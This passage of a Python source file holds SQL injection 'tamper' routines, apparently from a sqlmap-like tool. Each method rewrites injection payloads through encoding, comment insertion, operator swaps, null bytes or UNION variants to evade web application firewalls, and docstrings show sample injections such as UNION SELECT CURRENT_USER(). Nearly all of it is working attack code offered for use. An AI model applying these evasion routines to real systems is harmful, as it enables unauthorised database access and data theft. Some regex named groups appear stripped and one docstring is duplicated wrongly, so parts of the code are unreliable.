| depth -= 1 1417 | 1418 | if comma and end: 1419 | _ = payload[index + len("IFNULL("):comma] 1420 | __ = payload[comma + 1:end].lstrip() 1421 | newVal = "CASE WHEN ISNULL(%s) THEN (%s) ELSE (%s) END" % (_, __, _) 1422 | payload = payload[:index] + newVal + payload[end + 1:] 1423 | else: 1424 | break 1425 | 1426 | return payload 1427 | 1428 | def htmlencode(self, payload, **kwargs): 1429 | """ 1430 | HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> ') 1431 | >>> tamper("1' AND SLEEP(5)#") 1432 | '1' AND SLEEP(5)#' 1433 | """ 1434 | 1435 | return re.sub(r"[^\w]", lambda match: "&#%d;" % ord(match.group(0)), payload) if payload else payload 1436 | 1437 | def hex2char(self, payload, **kwargs): 1438 | """ 1439 | Replaces each (MySQL) 0x encoded string with equivalent CONCAT(CHAR(),...) counterpart 1440 | Requirement: 1441 | * MySQL 1442 | Tested against: 1443 | * MySQL 4, 5.0 and 5.5 1444 | Notes: 1445 | * Useful in cases when web application does the upper casing 1446 | >>> tamper('SELECT 0xdeadbeef') 1447 | 'SELECT CONCAT(CHAR(222),CHAR(173),CHAR(190),CHAR(239))' 1448 | """ 1449 | 1450 | retVal = payload 1451 | 1452 | if payload: 1453 | for match in re.finditer(r"\b0x([0-9a-f]+)\b", retVal): 1454 | if len(match.group(1)) > 2: 1455 | result = "CONCAT(%s)" % ','.join("CHAR(%d)" % _ for _ in self.getOrds(self.decodeHex(match.group(1)))) 1456 | else: 1457 | result = "CHAR(%d)" % ord(self.decodeHex(match.group(1))) 1458 | retVal = retVal.replace(match.group(0), result) 1459 | 1460 | return retVal 1461 | 1462 | def halfversionedmorekeywords(self, payload, **kwargs): 1463 | """ 1464 | Adds (MySQL) versioned comment before each keyword 1465 | Requirement: 1466 | * MySQL < 5.1 1467 | Tested against: 1468 | * MySQL 4.0.18, 5.0.22 1469 | Notes: 1470 | * Useful to bypass several web application firewalls when the 1471 | back-end database management system is MySQL 1472 | * Used during the ModSecurity SQL injection challenge, 1473 | http://modsecurity.org/demo/challenge.html 1474 | >>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") 1475 | "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa" 1476 | """ 1477 | 1478 | def process(match): 1479 | word = match.group('word') 1480 | if word.upper() in self.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: 1481 | return match.group().replace(word, "/*!0%s" % word) 1482 | else: 1483 | return match.group() 1484 | 1485 | retVal = payload 1486 | 1487 | if payload: 1488 | retVal = re.sub(r"(?<=\W)(?P[A-Za-z_]+)(?=\W|\Z)", process, retVal) 1489 | retVal = retVal.replace(" /*!0", "/*!0") 1490 | 1491 | return retVal 1492 | 1493 | def greatest(self, payload, **kwargs): 1494 | """ 1495 | Replaces greater than operator ('>') with 'GREATEST' counterpart 1496 | Tested against: 1497 | * MySQL 4, 5.0 and 5.5 1498 | * Oracle 10g 1499 | * PostgreSQL 8.3, 8.4, 9.0 1500 | Notes: 1501 | * Useful to bypass weak and bespoke web application firewalls that 1502 | filter the greater than character 1503 | * The GREATEST clause is a widespread SQL command. Hence, this 1504 | tamper script should work against majority of databases 1505 | >>> tamper('1 AND A > B') 1506 | '1 AND GREATEST(A,B+1)=A' 1507 | """ 1508 | 1509 | retVal = payload 1510 | 1511 | if payload: 1512 | match = re.search(r"(?i)(\b(AND|OR)\b\s+)([^>]+?)\s*>\s*(\w+|'[^']+')", payload) 1513 | 1514 | if match: 1515 | _ = "%sGREATEST(%s,%s+1)=%s" % (match.group(1), match.group(3), match.group(4), match.group(3)) 1516 | retVal = retVal.replace(match.group(0), _) 1517 | 1518 | return retVal 1519 | 1520 | def escapequotes(self, payload, **kwargs): 1521 | """ 1522 | Slash escape single and double quotes (e.g. ' -> \') 1523 | >>> tamper('1" AND SLEEP(5)#') 1524 | '1\\\\" AND SLEEP(5)#' 1525 | """ 1526 | 1527 | return payload.replace("'", "\\'").replace('"', '\\"') 1528 | 1529 | def equaltolike(self, payload, **kwargs): 1530 | """ 1531 | Replaces all occurrences of operator equal ('=') with 'LIKE' counterpart 1532 | Tested against: 1533 | * Microsoft SQL Server 2005 1534 | * MySQL 4, 5.0 and 5.5 1535 | Notes: 1536 | * Useful to bypass weak and bespoke web application firewalls that 1537 | filter the equal character ('=') 1538 | * The LIKE operator is SQL standard. Hence, this tamper script 1539 | should work against all (?) databases 1540 | >>> tamper('SELECT * FROM users WHERE id=1') 1541 | 'SELECT * FROM users WHERE id LIKE 1' 1542 | """ 1543 | 1544 | retVal = payload 1545 | 1546 | if payload: 1547 | retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) 1548 | 1549 | return retVal 1550 | 1551 | def concat2concatws(self, payload, **kwargs): 1552 | """ 1553 | Replaces (MySQL) instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' counterpart 1554 | Requirement: 1555 | * MySQL 1556 | Tested against: 1557 | * MySQL 5.0 1558 | Notes: 1559 | * Useful to bypass very weak and bespoke web application firewalls 1560 | that filter the CONCAT() function 1561 | >>> tamper('CONCAT(1,2)') 1562 | 'CONCAT_WS(MID(CHAR(0),0,0),1,2)' 1563 | """ 1564 | 1565 | if payload: 1566 | payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),") 1567 | 1568 | return payload 1569 | 1570 | def commentbeforeparentheses(self, payload, **kwargs): 1571 | """ 1572 | Prepends (inline) comment before parentheses (e.g. ( -> /**/() 1573 | Tested against: 1574 | * Microsoft SQL Server 1575 | * MySQL 1576 | * Oracle 1577 | * PostgreSQL 1578 | Notes: 1579 | * Useful to bypass web application firewalls that block usage 1580 | of function calls 1581 | >>> tamper('SELECT ABS(1)') 1582 | 'SELECT ABS/**/(1)' 1583 | """ 1584 | 1585 | retVal = payload 1586 | 1587 | if payload: 1588 | retVal = re.sub(r"\b(\w+)\(", r"\g<1>/**/(", retVal) 1589 | 1590 | return retVal 1591 | 1592 | def commalessmid(self, payload, **kwargs): 1593 | """ 1594 | Replaces (MySQL) instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' counterpart 1595 | you should consider usage of switch '--no-cast' along with tamper script 'commalessmid' 1596 | Requirement: 1597 | * MySQL 1598 | Tested against: 1599 | * MySQL 5.0 and 5.5 1600 | >>> tamper('MID(VERSION(), 1, 1)') 1601 | 'MID(VERSION() FROM 1 FOR 1)' 1602 | """ 1603 | 1604 | retVal = payload 1605 | 1606 | match = re.search(r"(?i)MID\((.+?)\s*,\s*(\d+)\s*\,\s*(\d+)\s*\)", payload or "") 1607 | if match: 1608 | retVal = retVal.replace(match.group(0), "MID(%s FROM %s FOR %s)" % (match.group(1), match.group(2), match.group(3))) 1609 | 1610 | return retVal 1611 | 1612 | def commalesslimit(self, payload, **kwargs): 1613 | """ 1614 | Replaces (MySQL) instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' counterpart 1615 | Requirement: 1616 | * MySQL 1617 | Tested against: 1618 | * MySQL 5.0 and 5.5 1619 | >>> tamper('LIMIT 2, 3') 1620 | 'LIMIT 3 OFFSET 2' 1621 | """ 1622 | 1623 | retVal = payload 1624 | 1625 | match = re.search(r"(?i)LIMIT\s*(\d+),\s*(\d+)", payload or "") 1626 | if match: 1627 | retVal = retVal.replace(match.group(0), "LIMIT %s OFFSET %s" % (match.group(2), match.group(1))) 1628 | 1629 | return retVal 1630 | 1631 | def charunicodeescape(self, payload, **kwargs): 1632 | """ 1633 | Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054) 1634 | Notes: 1635 | * Useful to bypass weak filtering and/or WAFs in JSON contexes 1636 | >>> tamper('SELECT FIELD FROM TABLE') 1637 | '\\\\u0053\\\\u0045\\\\u004C\\\\u0045\\\\u0043\\\\u0054\\\\u0020\\\\u0046\\\\u0049\\\\u0045\\\\u004C\\\\u0044\\\\u0020\\\\u0046\\\\u0052\\\\u004F\\\\u004D\\\\u0020\\\\u0054\\\\u0041\\\\u0042\\\\u004C\\\\u0045' 1638 | """ 1639 | 1640 | retVal = payload 1641 | 1642 | if payload: 1643 | retVal = "" 1644 | i = 0 1645 | 1646 | while i < len(payload): 1647 | if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: 1648 | retVal += "\\u00%s" % payload[i + 1:i + 3] 1649 | i += 3 1650 | else: 1651 | retVal += '\\u%.4X' % ord(payload[i]) 1652 | i += 1 1653 | 1654 | return retVal 1655 | 1656 | def charunicodeencode(self, payload, **kwargs): 1657 | """ 1658 | Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054) 1659 | Requirement: 1660 | * ASP 1661 | * ASP.NET 1662 | Tested against: 1663 | * Microsoft SQL Server 2000 1664 | * Microsoft SQL Server 2005 1665 | * MySQL 5.1.56 1666 | * PostgreSQL 9.0.3 1667 | Notes: 1668 | * Useful to bypass weak web application firewalls that do not unicode URL-decode the request before processing it through their ruleset 1669 | >>> tamper('SELECT FIELD%20FROM TABLE') 1670 | '%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045' 1671 | """ 1672 | 1673 | retVal = payload 1674 | 1675 | if payload: 1676 | retVal = "" 1677 | i = 0 1678 | 1679 | while i < len(payload): 1680 | if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: 1681 | retVal += "%%u00%s" % payload[i + 1:i + 3] 1682 | i += 3 1683 | else: 1684 | retVal += '%%u%.4X' % ord(payload[i]) 1685 | i += 1 1686 | 1687 | return retVal 1688 | 1689 | def charencode(self, payload, **kwargs): 1690 | """ 1691 | URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54) 1692 | Tested against: 1693 | * Microsoft SQL Server 2005 1694 | * MySQL 4, 5.0 and 5.5 1695 | * Oracle 10g 1696 | * PostgreSQL 8.3, 8.4, 9.0 1697 | Notes: 1698 | * Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset 1699 | * The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS 1700 | >>> tamper('SELECT FIELD FROM%20TABLE') 1701 | '%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45' 1702 | """ 1703 | 1704 | retVal = payload 1705 | 1706 | if payload: 1707 | retVal = "" 1708 | i = 0 1709 | 1710 | while i < len(payload): 1711 | if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: 1712 | retVal += payload[i:i + 3] 1713 | i += 3 1714 | else: 1715 | retVal += '%%%.2X' % ord(payload[i]) 1716 | i += 1 1717 | 1718 | return retVal 1719 | 1720 | def bluecoat(self, payload, **kwargs): 1721 | """ 1722 | Replaces space character after SQL statement with a valid random blank character. Afterwards replace character '=' with operator LIKE 1723 | Requirement: 1724 | * Blue Coat SGOS with WAF activated as documented in 1725 | https://kb.bluecoat.com/index?page=content&id=FAQ2147 1726 | Tested against: 1727 | * MySQL 5.1, SGOS 1728 | Notes: 1729 | * Useful to bypass Blue Coat's recommended WAF rule configuration 1730 | >>> tamper('SELECT id FROM users WHERE id = 1') 1731 | 'SELECT%09id FROM%09users WHERE%09id LIKE 1' 1732 | """ 1733 | 1734 | def process(match): 1735 | word = match.group('word') 1736 | if word.upper() in self.keywords: 1737 | return match.group().replace(word, "%s%%09" % word) 1738 | else: 1739 | return match.group() 1740 | 1741 | retVal = payload 1742 | 1743 | if payload: 1744 | retVal = re.sub(r"\b(?P[A-Z_]+)(?=[^\w(]|\Z)", process, retVal) 1745 | retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) 1746 | retVal = retVal.replace("%09 ", "%09") 1747 | 1748 | return retVal 1749 | 1750 | def between(self, payload, **kwargs): 1751 | """ 1752 | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' and equals operator ('=') with 'BETWEEN # AND #' 1753 | Tested against: 1754 | * Microsoft SQL Server 2005 1755 | * MySQL 4, 5.0 and 5.5 1756 | * Oracle 10g 1757 | * PostgreSQL 8.3, 8.4, 9.0 1758 | Notes: 1759 | * Useful to bypass weak and bespoke web application firewalls that 1760 | filter the greater than character 1761 | * The BETWEEN clause is SQL standard. Hence, this tamper script 1762 | should work against all (?) databases 1763 | >>> tamper('1 AND A > B--') 1764 | '1 AND A NOT BETWEEN 0 AND B--' 1765 | >>> tamper('1 AND A = B--') 1766 | '1 AND A BETWEEN B AND B--' 1767 | >>> tamper('1 AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()') 1768 | '1 AND LAST_INSERT_ROWID() BETWEEN LAST_INSERT_ROWID() AND LAST_INSERT_ROWID()' 1769 | """ 1770 | 1771 | retVal = payload 1772 | 1773 | if payload: 1774 | match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>]+)\s*\Z", payload) 1775 | 1776 | if match: 1777 | _ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5)) 1778 | retVal = retVal.replace(match.group(0), _) 1779 | else: 1780 | retVal = re.sub(r"\s*>\s*(\d+|'[^']+'|\w+\(\d+\))", r" NOT BETWEEN 0 AND \g<1>", payload) 1781 | 1782 | if retVal == payload: 1783 | match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*=\s*([\w()]+)\s*", payload) 1784 | 1785 | if match: 1786 | _ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5)) 1787 | retVal = retVal.replace(match.group(0), _) 1788 | 1789 | return retVal 1790 | 1791 | def appendnullbyte(self, payload, **kwargs): 1792 | """ 1793 | Appends (Access) NULL byte character (%00) at the end of payload 1794 | Requirement: 1795 | * Microsoft Access 1796 | Notes: 1797 | * Useful to bypass weak web application firewalls when the back-end 1798 | database management system is Microsoft Access - further uses are 1799 | also possible 1800 | Reference: http://projects.webappsec.org/w/page/13246949/Null-Byte-Injection 1801 | >>> tamper('1 AND 1=1') 1802 | '1 AND 1=1%00' 1803 | """ 1804 | 1805 | return "%s%%00" % payload if payload else payload 1806 | 1807 | def apostrophenullencode(self, payload, **kwargs): 1808 | """ 1809 | Replaces apostrophe character (') with its illegal double unicode counterpart (e.g. ' -> %00%27) 1810 | >>> tamper("1 AND '1'='1") 1811 | '1 AND %00%271%00%27=%00%271' 1812 | """ 1813 | 1814 | return payload.replace('\'', "%00%27") if payload else payload 1815 | 1816 | def apostrophemask(self, payload, **kwargs): 1817 | """ 1818 | Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87) 1819 | References: 1820 | * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128 1821 | * http://lukasz.pilorz.net/testy/unicode_conversion/ 1822 | * http://sla.ckers.org/forum/read.php?13,11562,11850 1823 | * http://lukasz.pilorz.net/testy/full_width_utf/index.phps 1824 | >>> tamper("1 AND '1'='1") 1825 | '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' 1826 | """ 1827 | 1828 | return payload.replace('\'', "%EF%BC%87") if payload else payload 1829 | 1830 | def e0UNION(self, payload, **kwargs): 1831 | """ 1832 | Replaces instances of UNION with e0UNION 1833 | 1834 | Requirement: 1835 | * MySQL 1836 | * MsSQL 1837 | 1838 | Notes: 1839 | * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf 1840 | 1841 | >>> tamper('1 UNION ALL SELECT') 1842 | '1e0UNION ALL SELECT' 1843 | """ 1844 | 1845 | return re.sub("(\d+)\s+(UNION )", r"\g<1>e0\g<2>", payload, re.I) if payload else payload 1846 | 1847 | def misunion(self, payload, **kwargs): 1848 | """ 1849 | Replaces instances of UNION with -.1UNION 1850 | 1851 | Requirement: 1852 | * MySQL 1853 | 1854 | Notes: 1855 | * Reference: https://raw.githubusercontent.com/y0unge/Notes/master/SQL%20Injection%20WAF%20Bypassing%20shortcut.pdf 1856 | 1857 | >>> tamper('1 UNION ALL SELECT') 1858 | '1-.1UNION ALL SELECT' 1859 | >>> tamper('1" UNION ALL SELECT') 1860 | '1"-.1UNION ALL SELECT' 1861 | """ 1862 | 1863 | return re.sub("\s+(UNION )", r"-.1\g<1>", payload, re.I) if payload else payload 1864 | 1865 | def schemasplit(self, payload, **kwargs): 1866 | """ 1867 | Replaces instances of UNION with e0UNION 1868 | 1869 | Requirement: 1870 | * MySQL 1871 | 1872 | Notes: 1873 | * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf 1874 | 1875 | >>> tamper('SELECT id FROM testdb.users') 1876 | 'SELECT id FROM testdb 9.e.users' 1877 | """ 1878 | 1879 | return re.sub("( FROM \w+)\.(\w+)", r"\g<1> 9.e.\g<2>", payload, re.I) if payload else payload 1880 | 1881 | def binary(self, payload, **kwargs): 1882 | """ 1883 | Injects keyword binary where possible 1884 | 1885 | Requirement: 1886 | * MySQL 1887 | 1888 | >>> tamper('1 UNION ALL SELECT NULL, NULL, NULL') 1889 | '1 UNION ALL SELECT binary NULL, binary NULL, binary NULL' 1890 | >>> tamper('1 AND 2>1') 1891 | '1 AND binary 2>binary 1' 1892 | >>> tamper('CASE WHEN (1=1) THEN 1 ELSE 0x28 END') 1893 | 'CASE WHEN (binary 1=binary 1) THEN binary 1 ELSE binary 0x28 END' 1894 | """ 1895 | 1896 | retVal = payload 1897 | 1898 | if payload: 1899 | retVal = re.sub(r"\bNULL\b", "binary NULL", retVal) 1900 | retVal = re.sub(r"\b(THEN\s+)(\d+|0x[0-9a-f]+)(\s+ELSE\s+)(\d+|0x[0-9a-f]+)", r"\g<1>binary \g<2>\g<3>binary \g<4>", retVal) 1901 | retVal = re.sub(r"(\d+\s*[>=]\s*)(\d+)", r"binary \g<1>binary \g<2>", retVal) 1902 | retVal = re.sub(r"\b((AND|OR)\s*)(\d+)", r"\g<1>binary \g<3>", retVal) 1903 | retVal = re.sub(r"([>=]\s*)(\d+)", r"\g<1>binary \g<2>", retVal) 1904 | retVal = re.sub(r"\b(0x[0-9a-f]+)", r"binary \g<1>", retVal) 1905 | retVal = re.sub(r"(\s+binary)+", r"\g<1>", retVal) 1906 | 1907 | return retVal 1908 | 1909 | def dunion(self, payload, **kwargs): 1910 | """ 1911 | Replaces instances of UNION with DUNION 1912 | 1913 | Requirement: 1914 | * Oracle 1915 | 1916 | Notes: 1917 | * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf 1918 | 1919 | >>> tamper('1 UNION ALL SELECT') 1920 | '1DUNION ALL SELECT' 1921 | """ 1922 | 1923 | return re.sub("(\d+)\s+(UNION )", r"\g<1>D\g<2>", payload, re.I) if payload else payload 1924 | 1925 | def equaltorlike(self, payload, **kwargs): 1926 | """ 1927 | Replaces all occurrences of operator equal ('=') with 'RLIKE' counterpart 1928 | 1929 | Tested against: 1930 | * MySQL 4, 5.0 and 5.5 1931 | 1932 | Notes: 1933 | * Useful to bypass weak and bespoke web application firewalls that 1934 | filter the equal character ('=') 1935 | 1936 | >>> tamper('SELECT * FROM users WHERE id=1') 1937 | 'SELECT * FROM users WHERE id RLIKE 1' 1938 | """ 1939 | 1940 | retVal = payload 1941 | 1942 | if payload: 1943 | retVal = re.sub(r"\s*=\s*", " RLIKE ", retVal) 1944 | 1945 | return retVal 1946 | --------------------------------------------------------------------------------